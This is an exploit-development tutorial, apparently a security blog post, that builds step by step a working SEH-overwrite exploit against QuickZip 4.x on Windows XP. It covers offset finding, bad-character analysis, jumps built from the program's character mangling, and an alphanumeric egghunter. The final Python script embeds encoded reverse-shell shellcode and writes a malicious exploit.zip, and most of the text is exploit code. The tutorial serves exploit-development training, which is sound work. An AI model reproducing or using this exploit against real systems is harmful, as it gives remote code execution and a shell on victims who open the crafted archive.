First PoC
To start, we must know how to create a working ZIP
file, so we can have a valid starting point to work on. The following code will create a ZIP
file with a single compressed file called ThisIsATestFile1
of 0
bytes:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'ThisIsATestFile1'
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Let’s check it:
And using QuickZip
:

Great! We created a fully working ZIP
file using Python.
The bug on QuickZip 4.x
appears to be on the way it handles long compressed file names. Let’s update our proof-of-concept (PoC
) exploit to replicate the vulnerability. This time, we will send a filename of 1000
chars:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * 1000
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Now create the malicious ZIP
file:
Good. Now, let’s attach QuickZip
to a debugger. In this example we will use Immunity Debugger
:

Great! We were able to replicate the vulnerability!
If we look at the animation, we see that this time we are facing a SEH overwrite, on where the exception handler and the pointer to the next exception handler (nSEH
) were overwritten.
We must now find the exact offset on where the handler gets overwritten. To do that, we will create a cyclic pattern using Metasploit’s pattern_create.rb
tool:
And update our exploit with that:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'<insert pattern here>'
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Check it:

As we can see, the SEH handler was overwritten with 6B41396A
. We can check the offset with pattern_offset.rb
:
$ msf-pattern_offset -q 6B41396A
[*]
Great! The SEH handler starts to be overwritten on byte 298 of our payload.
Update our exploit to reflect that:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * 298 +
b'B' * 4 +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:

Great! We can now proceed to create a working exploit.
Finding bad chars
In the Vulnserver LTER article, we were faced to a behavior on where certain chars were mangled by the application. As we are exploiting a file name, chances are that there must be certain chars that are not allowed.
We can check that by creating an array with all the possible ASCII chars, injecting it with our exploit and check the mangling results. Let’s do that:
!mona bytearray -cpb '\x00\x0a\x0d\x3a'
This will tell mona to create the array with all the ASCII chars, except some usual suspects:
Null byte 0x00
.
Line feed 0x0a
.
Carriage return 0x0d
.
Colon 0x3a
.
In Python3, we can inject the same array using:
EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))
We can update our exploit with that:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))
FILENAME = (
b'A' * 298 +
b'B' * 4 +
BADCHARS +
b'C' * (698 - len(BADCHARS))
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Check it:

And perform an analysis of our injected buffer using:
!mona cmp -f C:\mona\QuickZip\bytearray.bin -a
Ughh! Our string was heavily mangled and starting at char 0x2f
, it was dropped altogether. We’ll have to add 0x2f
to our exclusions and we’ll have to iterate over by removing the dropping chars until we are able to inject all of our 256
chars, even if mangled. Luckily for you, I did the hard-work already and I only had to add the byte 0x5c
to the exclusion list of chars that dropped the string.
So, our updated exploit to check bad chars is this:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
EXCLUDE = ('0x0', '0xa', '0xd', '0x2f', '0x3a', '0x5c')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))
FILENAME = (
b'A' * 298 +
b'B' * 4 +
BADCHARS +
b'C' * (698 - len(BADCHARS))
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And the comparison table of mangled chars is this:
We will have to be very creative in order to use the allowed chars and maybe the mangled ones to our favor.
Exploiting
In order for us to execute our own code, we must first divert the normal execution flow to our controlled buffer. As this is a common SEH overwrite vulnerability, we must search for a POP/POP/RET sequence that ultimately will redirect the execution flow to our buffer.
We must remember to search for pointers that contains our allowed chars:
!mona seh -cp asciiprint,nonull -cm safeseh=off -cpb '\x00\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o
This will tell mona
to look for pointers that contains bytes that are ASCII-printable, excluding our known bad chars, exclude modules with SafeSEH
disabled, and omit pointers of modules of the OS. And the result is:
:(
We have 2 choices: Use OS addresses or allow null bytes on our search. The first option is the easiest one, but our exploit will not be portable. Also, we prefer doing it the hard way!
The main drawback of the second option is that our injected buffer will be dropped when the first null byte is found. But as we are injecting the null byte on the SEH handler address, and we are working on a little endian architecture (x86
), the null byte will be the last one to be injected and we will have to use the nSEH
field to jump back.
Let’s look for the available pointers of the required POP/POP/RET
sequence omitting the OS modules and allowing null bytes:
!mona seh -cp asciiprint -cm safeseh=off -cpb '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o

1225 possible pointers. Not bad. I will choose the one at 00524478
which is also alphanumeric. Let’s update the exploit with that:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * 298 +
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
When we run it, we are able to reach the POP/POP/RET
sequence address:

And we also can see that the rest of our buffer (the part with the C
chars) was dropped after the null byte on the POP/POP/RET
address:

Now, if we execute the sequence POP/POP/RET
, we will land on a 4-byte buffer belonging to nSEH
:

We’ll have to use those 4 bytes to jump back.
Jumping around
We landed at the nSEH
field, which is only 4 bytes long. Let’s see the available jump options:
A long jump to the start of our injected buffer is 5 bytes long. Not an option.
A conditional short jump would work.
An unconditional short jump JMP
opcode is 0xeb
. Not on our allowed chars. Wait… Not allowed? If we see the mangling table above, we can see that when we injected the byte 0x89
it was translated to 0xeb
. We can use that!
However, a reverse jumping is performed using offsets from 0x80
to 0xff
, being 0x80
the farthest. Not on our allowed chars.
Our mangling table comes to the rescue again. We will see that the char 0xa5
is converted to 0xd1
which would do a reverse jump of 44 bytes, on which we will have room to perform an encoded reverse long jump to the start of our buffer and will left us with around 250 bytes to work:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * (298 - 4) +
b'\x89\xa5' +
b'A' * 2 +
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check if that worked:

Great! We were able to leverage the mangling to our favor!
Encoding long jump
Now with 44 bytes to work on, we need to perform a reverse long jump to the start of our buffer. Starting at the point on where we landed after our initial short jump, the bytes needed to jump to the start of our buffer would be E9 02 FF FF FF
:

As you notice, we can’t inject those bytes because they are mangled…Wait! Mangled! If we look at the mangling table above, we can see that we can use the following translations:
0x82
→ 0xe9
.
0x02
is allowed.
0x98
→ 0xff
.
Thus, if we inject the bytes 82 02 98 98 98
, QuickZip
would translate that to E9 02 FF FF FF
! Update our exploit with that:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * (298 - 4 - 45) +
b'\x82\x02\x98\x98\x98' +
b'A' * (45 - 5) +
b'\x89\xa5' +
b'A' * 2 +
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:

Wonderful!
Egghunting
Now we have 248 bytes to work. An unencoded shell will be around 350 bytes.
With that kind of space restriction, what can use an egghunter.
To briefly recap, an egghunter is a small shellcode that will walk the entire memory of the running process looking for a tag (an egg
), and when it finds it, it will execute anything that follows.
An egghunter can be created by the egghunter.rb
Metasploit tool.
This will create a file called egg.bin
with our egghunter, that will hunt for the egg fluiflui
(I wanted it to be fluid
, but it must be 4*2 bytes long).
As we see, the resulting bytes are not in our allowed list, nor are translated by other bytes, so we must encode it. We can use some of the alphanumeric encoders of msfvenom
. I will use x86/alpha_mixed
:
But, hey, we used an alphanumeric encoder but there are some bytes at the start that are clearly not alphanumeric! Well, those bytes are used by the encoder to get the current absolute position on memory and stores the location on ECX
to perform relative calculations. That code is also known as GetPC
for Get Program Counter.
However, if we can point a general purpose register (for example, EAX
) to where our egghunter will begin, we could use the BufferRegister=EAX
option that will eliminate those first bad chars:
Great! But, how can we do that?
Getting Program Counter (EIP)
We have performed two jumps. The first one was a short jump that pointed to the second long jump, that led us in turn to the start of our buffer. When a jump is performed, EIP
register holds the address to the place the jump is pointing to. So, after the second jump EIP
is pointing to the start of our buffer. As we instructed the encoder to find the egghunter on EAX
, we must make EAX = EIP
. However, you just can’t do something like mov eax,eip
.
To do that, we can use the way the call
instruction works: A call
is like a jmp
, except that it will push the next instruction to be executed on the stack, also called saved return address or saved EIP. So if our call
points to a place where a pop eax
will be, EAX
will pop back that value off of the stack and will get the value of EIP
!
The following code will do the trick:
And works like this:
0012FAD6
is the place where our second jump lands.
That instruction will jump to 0012FADC
where a call
is located.
When the call
is executed, it will push to the stack a pointer to the next instruction, in our example 0012FAE1
.
That call
instruction will jump to 0012FAD8
which is added for padding.
Then pop eax
is executed. That would pop back off of the stack 0012FAE1
and stores it on EAX
.
Finally, the JMP SHORT 0012FAE1
is executed that will jump to 0012FAE1
.
In 0012FAE1
we will put the first byte of our encoded egghunter.
Let’s update our exploit. We must encode that instructions using the mangling table:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'\x89\x04' +
b'\x41' +
b'\x58' +
b'\x89\x05' +
b'\x8a\xf6\x98\x98\x98' +
b'A' * (298 - 4 - 45 - 11) +
b'\x82\x02\x98\x98\x98' +
b'A' * (45 - 5) +
b'\x89\xa5' +
b'A' * 2 +
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Notice that the needed bytes can be obtained using our mangle table again! Let’s check it. If everything comes as expected, EAX
should have a pointer to the instruction below the CALL
:

Isn’t it beautiful? Now we can just inject our encoded egghunter right after the call
instruction:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
EGGHUNTER = (
b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'
b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA'
)
FILENAME = (
b'\x89\x04' +
b'\x41' +
b'\x58' +
b'\x89\x05' +
b'\x8a\xf6\x98\x98\x98' +
EGGHUNTER +
b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +
b'\x82\x02\x98\x98\x98' +
b'A' * (45 - 5) +
b'\x89\xa5' +
b'A' * 2 +
struct.pack('<L', 0x00524478) +
b'C' * 1698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:

It worked!
Injecting shellcode
Everything’s working right now. Except that we need a shellcode and we have no place to inject it.
But remember that our egghunter will look the entire process memory for the tag fluiflui
, will point EDI
register there, and execute anything that follows.
Also, remember that on our payload it was included some C
bytes that were chopped off from our injected buffer. But maybe there is a region in memory where that buffer was kept. Let’s check it:

Indeed! It was kept in heap memory. Our egghunter should now be able to reach it. Let’s create an encoded reverse shell:
Notice that we used BufferRegister=EDI
because the egghunter will point that register at the very beginning of our shellcode. We can update our exploit now. Remember to add the fluiflui
tag, so our egghunter can reach it:
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
EGGHUNTER = (
b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'
b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA'
)
SHELL = (
b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9'
b'KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIW'
b'M2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgq'
b'n6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshgl'
b'C1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpw'
b'psFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSp'
b'v0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQioju'
b'mUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKM'
b'QvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oy'
b'Yp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54E'
b'mkaW232R2OSZs00SkO9EAA'
)
FILENAME = (
b'\x89\x04' +
b'\x41' +
b'\x58' +
b'\x89\x05' +
b'\x8a\xf6\x98\x98\x98' +
EGGHUNTER +
b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +
b'\x82\x02\x98\x98\x98' +
b'A' * (45 - 5) +
b'\x89\xa5' +
b'A' * 2 +
struct.pack('<L', 0x00524478) +
b'C' * 16 +
b'fluiflui' +
SHELL
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:

Yes! Our egghunter found the fluiflui
tag and the shellcode next to it. We should now be able to get a shell. Let’s check:

We got a shell!
You can download the final exploit here.
Conclusion
This exploit was fun. We used the mangling performed by the application to our advantage. Working with the current environment will give you tools to think out of the box and obtain the desired results.